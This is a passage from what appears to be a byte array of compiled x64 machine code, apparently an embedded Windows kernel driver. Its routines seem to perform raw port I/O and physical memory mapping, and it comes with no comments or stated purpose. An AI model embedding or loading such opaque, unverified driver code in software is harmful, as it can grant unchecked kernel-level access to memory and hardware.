0x8B, 0xD7, 0x48, 0x8D, 0x45, 0xDF, 0x41, 0x8B, 0xCE, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0x05, 0x18, 0x00, 0x00, 0x84, + 0xDB, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84, 0x9E, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xDF, 0x48, 0x8B, 0x4D, 0xF7, 0x48, + 0x2B, 0xC1, 0x85, 0xC0, 0x0F, 0x84, 0x8B, 0x00, 0x00, 0x00, 0x83, 0x7D, + 0x6F, 0x00, 0x8B, 0xD0, 0x48, 0x89, 0x55, 0xE7, 0x74, 0x04, 0x8B, 0xC1, + 0xEB, 0x74, 0x48, 0x83, 0x65, 0xC7, 0x00, 0x48, 0x8D, 0x45, 0xE7, 0xC7, + 0x44, 0x24, 0x48, 0x04, 0x02, 0x00, 0x00, 0x4C, 0x8D, 0x45, 0xC7, 0x83, + 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xC9, 0xC7, 0x44, 0x24, 0x38, 0x01, + 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x45, 0xEF, + 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x83, + 0xCA, 0xFF, 0x48, 0x89, 0x4D, 0xEF, 0x48, 0x8B, 0x4D, 0xCF, 0xFF, 0x15, + 0x40, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x78, 0x30, 0x48, 0x8B, + 0x55, 0xC7, 0x8B, 0x45, 0xEF, 0x8B, 0x4D, 0xF7, 0x48, 0x2B, 0xC8, 0x48, + 0x03, 0xD1, 0x48, 0x8D, 0x0D, 0x2B, 0x0E, 0x00, 0x00, 0x48, 0x89, 0x55, + 0xC7, 0xE8, 0xEA, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xC7, 0x48, 0x89, + 0x06, 0x33, 0xFF, 0xEB, 0x05, 0xBF, 0x01, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x4D, 0xCF, 0xFF, 0x15, 0xF0, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, + 0xD0, 0x00, 0x00, 0x00, 0x8B, 0xC7, 0x49, 0x8B, 0x5B, 0x20, 0x49, 0x8B, + 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, + 0x5E, 0x5D, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x83, 0x64, + 0x24, 0x38, 0x00, 0x33, 0xC0, 0x89, 0x44, 0x24, 0x3C, 0x48, 0x8B, 0xDA, + 0x48, 0x85, 0xD2, 0x74, 0x44, 0x81, 0xC1, 0xFF, 0x0F, 0x00, 0x00, 0xC7, + 0x44, 0x24, 0x38, 0xFF, 0xFF, 0xFF, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x38, + 0xB8, 0x00, 0xF0, 0xFF, 0xFF, 0x48, 0x23, 0xC8, 0xFF, 0x15, 0x46, 0x17, + 0x00, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x1A, 0x41, + 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xD0, 0x48, + 0x8D, 0x0D, 0xC2, 0x0F, 0x00, 0x00, 0xE8, 0x55, 0x05, 0x00, 0x00, 0xB0, + 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, + 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x85, 0x17, 0x00, 0x00, 0x0F, + 0xB6, 0xD0, 0x48, 0x8D, 0x0D, 0x7B, 0x0F, 0x00, 0x00, 0xE8, 0x2E, 0x05, + 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x6D, 0x17, 0x00, 0x00, 0x84, + 0xC0, 0x74, 0x0D, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF0, 0x16, 0x00, 0x00, + 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, + 0xF9, 0xFF, 0x15, 0x39, 0x17, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, + 0x0D, 0x87, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xD8, 0xE8, + 0xE4, 0x04, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, + 0x85, 0xC9, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x38, 0x48, 0x8B, 0x19, 0x48, + 0x8B, 0x79, 0x08, 0x48, 0x8B, 0xD3, 0x8B, 0x71, 0x10, 0x4C, 0x8B, 0xC7, + 0x44, 0x8B, 0xCE, 0x48, 0x8D, 0x0D, 0x5A, 0x0F, 0x00, 0x00, 0xE8, 0x9D, + 0x04, 0x00, 0x00, 0x85, 0xF6, 0x74, 0x13, 0x48, 0x2B, 0xFB, 0x8B, 0xD6, + 0x8A, 0x0C, 0x1F, 0x88, 0x0B, 0x48, 0xFF, 0xC3, 0x48, 0x83, 0xEA, 0x01, + 0x75, 0xF2, 0xB0, 0x01, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, + 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xDA, 0x25, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x45, 0x33, 0xFF, 0x48, + 0x8D, 0x0D, 0xBE, 0x0C, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xDF, 0x49, 0x8B, + 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0x37, 0x04, 0x00, 0x00, 0x83, 0x7F, 0x10, + 0x34, 0x0F, 0x85, 0xC9, 0x00, 0x00, 0x00, 0x83, 0x7F, 0x08, 0x34, 0x0F, + 0x85, 0xBF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x46, 0x18, 0x48, 0x8D, 0x55, + 0xC0, 0x49, 0x8B, 0x4E, 0x40, 0x4C, 0x89, 0x7E, 0x38, 0x0F, 0xB7, 0x30, + 0xFF, 0x15, 0x92, 0x15, 0x00, 0x00, 0xBF, 0x3E, 0x11, 0x00, 0x00, 0x45, + 0x8D, 0x77, 0x01, 0x66, 0x83, 0xFB, 0x0A, 0x0F, 0x87, 0x85, 0x00, 0x00, + 0x00, 0x0F, 0xB7, 0xC3, 0x48, 0x8D, 0x4D, 0xD8, 0x89, 0x45, 0xDC, 0x0F, + 0xB7, 0xC6, 0x89, 0x45, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, + 0xF0, 0x89, 0x7D, 0xD8, 0x44, 0x89, 0x7D, 0xE0, 0xE8, 0x4B, 0xE6, 0xFF, + 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x75, 0x07, + 0x66, 0x83, 0x7D, 0xE8, 0x0B, 0x74, 0x06, 0x66, 0x41, 0x03, 0xDE, 0xEB, + 0xBA, 0x89, 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xFB, 0x0F, + 0xB7, 0xDE, 0x89, 0x5D, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, + 0xF0, 0x89, 0x7D, 0xDC, 0xC7, 0x45, 0xE0, 0x04, 0x00, 0x00, 0x00, 0xE8, + 0x0C, 0xE6, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, + 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x89, + 0x7D, 0xDC, 0x44, 0x89, 0x75, 0xE0, 0x89, 0x5D, 0xE4, 0xE8, 0xEA, 0xE5, + 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xF8, 0x14, 0x00, 0x00, + 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, + 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x0B, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x9C, + 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x41, 0x5F, 0x41, + 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, + 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xA3, 0x24, 0x00, 0x00, 0x48, 0x33, 0xC4, + 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8B, 0xE9, 0x41, 0xBE, 0x01, 0x00, + 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x63, 0x0B, 0x00, 0x00, 0x41, 0x0F, 0xB7, + 0xDE, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0xFC, 0x02, 0x00, 0x00, + 0x83, 0x7F, 0x10, 0x34, 0x75, 0x61, 0x83, 0x7F, 0x08, 0x34, 0x75, 0x5B, + 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x8B, 0x46, + 0x18, 0x33, 0xED, 0x48, 0x89, 0x6E, 0x38, 0x0F, 0xB7, 0x38, 0xFF, 0x15, + 0x5C, 0x14, 0x00, 0x00, 0x66, 0x83, 0xFB, 0x0A, 0x77, 0x2A, 0x0F, 0xB7, + 0xC3, 0x66, 0x41, 0x03, 0xDE, 0x89, 0x44, 0x24, 0x3C, 0x0F, 0xB7, 0xC7, + 0x89, 0x44, 0x24, 0x44, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x89, 0x6C, + 0x24, 0x50, 0xC7, 0x44, 0x24, 0x38, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x6C, + 0x24, 0x40, 0xEB, 0xD0, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x29, + 0x14, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, + 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0x3B, 0x02, 0x00, + 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, + 0x6B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, + 0xB0, 0x01, 0x45, 0x0F, 0xB7, 0xD0, 0x44, 0x0F, 0xB7, 0xDA, 0x44, 0x0F, + 0xB7, 0xC9, 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x01, 0x74, 0x2C, 0x45, + 0x0F, 0xB7, 0xC3, 0x45, 0x85, 0xC0, 0x74, 0x11, 0x49, 0x8B, 0xC8, 0xBA, + 0x80, 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, + 0xF2, 0x41, 0x0F, 0xB7, 0xD1, 0xB0, 0x01, 0xEE, 0x41, 0x83, 0xEA, 0x01, + 0x74, 0x08, 0xEC, 0xA8, 0x01, 0x75, 0xD8, 0x33, 0xC0, 0xC3, 0x83, 0xC8, + 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x41, 0x0F, 0xB7, 0xE8, 0x0F, 0xB7, 0xF2, 0x44, 0x0F, 0xB7, 0x44, 0x24, + 0x50, 0x41, 0x0F, 0xB7, 0xD1, 0x41, 0x0F, 0xB7, 0xF9, 0x0F, 0xB7, 0xD9, + 0xE8, 0x83, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x5A, 0x40, 0x02, + 0xF6, 0x8D, 0x53, 0x04, 0x40, 0xFE, 0xC6, 0x40, 0x8A, 0xC6, 0x8D, 0x73, + 0x05, 0xEE, 0x8D, 0x53, 0x03, 0x40, 0x8A, 0xC5, 0xEE, 0xB0, 0xFF, 0x0F, + 0xB7, 0xD3, 0xEE, 0x0F, 0xB7, 0xD6, 0xEE, 0xB0, 0x48, 0x8D, 0x53, 0x02, + 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x10, 0x8B, 0xC8, 0xBA, 0x80, + 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, 0xF2, + 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, + 0xE8, 0x2F, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x06, 0x0F, 0xB7, + 0xD6, 0xEC, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, + 0x20, 0x5F, 0xC3, 0xCC, 0xB0, 0x1F, 0x45, 0x0F, 0xB7, 0xD0, 0x41, 0xBB, + 0x01, 0x00, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0xCA, 0x66, 0x41, 0x03, 0xCB, + 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x1F, 0x74, 0x2E, 0x45, 0x0F, 0xB7, + 0xC9, 0x45, 0x85, 0xC9, 0x74, 0x10, 0x4D, 0x8B, 0xC1, 0xBA, 0x80, 0x00, + 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x4D, 0x2B, 0xC3, 0x75, 0xF3, 0x0F, 0xB7, + 0xD1, 0xB0, 0x1F, 0xEE, 0x45, 0x2B, 0xD3, 0x74, 0x0D, 0xEC, 0x3C, 0x10, + 0x74, 0x05, 0xEC, 0xA8, 0x1F, 0x75, 0xD6, 0x33, 0xC0, 0xC3, 0x83, 0xC8, + 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x56, 0x48, 0x83, 0xEC, 0x20, 0x0F, 0xB7, 0xEA, 0x33, 0xC0, 0x0F, 0xB7, + 0xD1, 0x45, 0x0F, 0xB7, 0xF0, 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x41, + 0x0F, 0xB7, 0xF9, 0xEE, 0x41, 0x0F, 0xB7, 0xD1, 0x0F, 0xB7, 0xD9, 0xE8, + 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x6E, 0x33, 0xC0, 0x8D, + 0x73, 0x04, 0x0F, 0xB7, 0xD3, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEE, + 0xB0, 0xFF, 0x0F, 0xB7, 0xD6, 0xEE, 0x8D, 0x04, 0x6D, 0x00, 0x00, 0x00, + 0x00, 0x8D, 0x53, 0x02, 0xEE, 0x41, 0x8A, 0xC6, 0x8D, 0x53, 0x03, 0xEE, + 0xB0, 0x1F, 0x41, 0x8D, 0x14, 0x18, 0xEE, 0xB0, 0x07, 0x0F, 0xB7, 0xD3, + 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x0F, 0x8B, 0xC8, 0xBA, 0x80, + 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x49, 0x2B, 0xC8, 0x75, 0xF3, 0x44, + 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, 0xE8, + 0x10, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x0E, 0x0F, 0xB7, 0xD3, + 0xEC, 0x84, 0xC0, 0x75, 0x06, 0x0F, 0xB7, 0xD6, 0xEC, 0xEB, 0x02, 0x32, + 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, + 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, + 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0xC1, + 0x21, 0x00, 0x00, 0x75, 0x11, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, + 0xFF, 0xFF, 0x75, 0x02, 0x90, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x01, + 0x00, 0x00, 0x00, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, + 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0x9C, 0x21, 0x00, 0x00, + 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0x88, 0x21, 0x00, 0x00, + 0xFF, 0x15, 0x52, 0x12, 0x00, 0x00, 0xCC, 0xCC, 0xFF, 0x25, 0xEA, 0x11, + 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, + 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, + 0x40, 0x53, 0x41, 0x8B, 0x00, 0x48, 0x8B, 0xDA, 0x44, 0x8B, 0xD8, 0x4C, + 0x8B, 0xC9, 0x41, 0x83, 0xE3, 0xF8, 0x4C, 0x8B, 0xD1, 0xA8, 0x04, 0x74, + 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, + 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, + 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x03, + 0x4B, 0x08, 0x8A, 0x41, 0x03, 0xA8, 0x0F, 0x74, 0x09, 0x0F, 0xB6, 0xC0, + 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, + 0x5B, 0xE9, 0x36, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4D, 0x33, 0xDB, 0xFF, 0x25, 0xAF, 0x11, 0x00, + 0x00, 0xCC, 0x49, 0x83, 0xCB, 0x01, 0xEB, 0xF3, 0x49, 0x83, 0xCB, 0x02, + 0xEB, 0xED, 0x49, 0x83, 0xCB, 0x03, 0xEB, 0xE7, 0x49, 0x83, 0xCB, 0x04, + 0xEB, 0xE1, 0x49, 0x83, 0xCB, 0x05, 0xEB, 0xDB, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0x66, 0x90, 0x49, 0x8B, 0xC3, 0x48, 0x83, 0xE0, 0x07, 0x85, + 0xC0, 0x75, 0x10, 0x48, 0x8B, 0x14, 0x24, 0x64, 0x4C, 0x8B, 0x04, 0x24, + 0xB9, 0x2C, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x3C, 0x03, 0x74, 0x1F, 0x4C, + 0x8B, 0xC1, 0x3C, 0x01, 0x74, 0x18, 0x4C, 0x8B, 0xC2, 0x3C, 0x02, 0x74, + 0x11, 0x4D, 0x8B, 0xC1, 0x3C, 0x04, 0x74, 0x0A, 0x4D, 0x8B, 0xC2, 0x3C, + 0x05, 0x74, 0x03, 0x4D, 0x33, 0xC0, 0x4C, 0x33, 0xD8, 0x49, 0x8B, 0x13, + 0xEB, 0xCE, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x1F, 0x40, 0x00, + 0xFF, 0x25, 0x3A, 0x11, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x0F, 0x1F, 0x40, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4C, 0x8B, 0xD9, 0x48, 0x2B, 0xD1, 0x0F, 0x82, 0xA2, 0x01, 0x00, 0x00, + 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x58, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, + 0x03, 0x74, 0x16, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0A, + 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0xF8, 0x75, + 0xEF, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x8A, 0x04, 0x0A, 0x48, 0xFF, 0xC1, 0x49, 0xFF, + 0xC8, 0x88, 0x41, 0xFF, 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x83, + 0xFA, 0x10, 0x72, 0x70, 0xF7, 0xD9, 0x83, 0xE1, 0x0F, 0x74, 0x0E, 0x4C, + 0x2B, 0xC1, 0xF3, 0x42, 0x0F, 0x6F, 0x04, 0x1A, 0xF3, 0x41, 0x0F, 0x7F, + 0x03, 0x49, 0x03, 0xCB, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, + 0x81, 0xF9, 0x00, 0x20, 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, + 0x49, 0x83, 0xE0, 0x1F, 0xF3, 0x0F, 0x6F, 0x04, 0x0A, 0xF3, 0x0F, 0x6F, + 0x4C, 0x0A, 0x10, 0x48, 0x83, 0xC1, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0xE0, + 0x66, 0x0F, 0x7F, 0x49, 0xF0, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x4F, + 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, + 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, + 0xA3, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x48, 0xFF, 0xC1, + 0xF6, 0xC1, 0x0F, 0x75, 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, + 0xFA, 0x00, 0x02, 0x00, 0x00, 0x72, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, + 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0x48, 0x81, 0xC1, + 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xE9, 0x00, + 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x04, + 0x0A, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0x10, 0x66, 0x0F, 0xE7, 0x01, 0x66, + 0x0F, 0xE7, 0x49, 0x10, 0x48, 0x83, 0xC1, 0x40, 0xF3, 0x0F, 0x6F, 0x44, + 0x0A, 0xE0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xF0, 0x66, 0x0F, 0xE7, 0x41, + 0xE0, 0x66, 0x0F, 0xE7, 0x49, 0xF0, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, + 0xE8, 0x00, 0x02, 0x00, 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, + 0x73, 0x99, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, + 0xE9, 0x05, 0x0F, 0x85, 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x79, 0xFE, 0xFF, + 0xFF, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x49, 0x03, + 0xC8, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x4F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, + 0xE9, 0x03, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x0A, 0xF8, 0x48, 0x83, 0xE9, + 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x01, 0x75, 0xEF, 0x49, 0x83, 0xE0, + 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8A, 0x44, 0x0A, 0xFF, 0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x88, 0x01, + 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x48, 0x83, 0xFA, 0xF0, 0x77, 0x74, 0x48, 0x8B, 0xC1, 0x83, + 0xE1, 0x0F, 0x74, 0x11, 0x4C, 0x2B, 0xC1, 0x48, 0xF7, 0xD9, 0xF3, 0x0F, + 0x6F, 0x44, 0x02, 0xF0, 0xF3, 0x0F, 0x7F, 0x40, 0xF0, 0x48, 0x03, 0xC8, + 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, 0x81, 0xF9, 0x00, 0x20, + 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, 0x49, 0x83, 0xE0, 0x1F, + 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xE0, + 0x48, 0x83, 0xE9, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0x10, 0x66, 0x0F, 0x7F, + 0x09, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x54, 0xFF, 0xFF, 0xFF, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 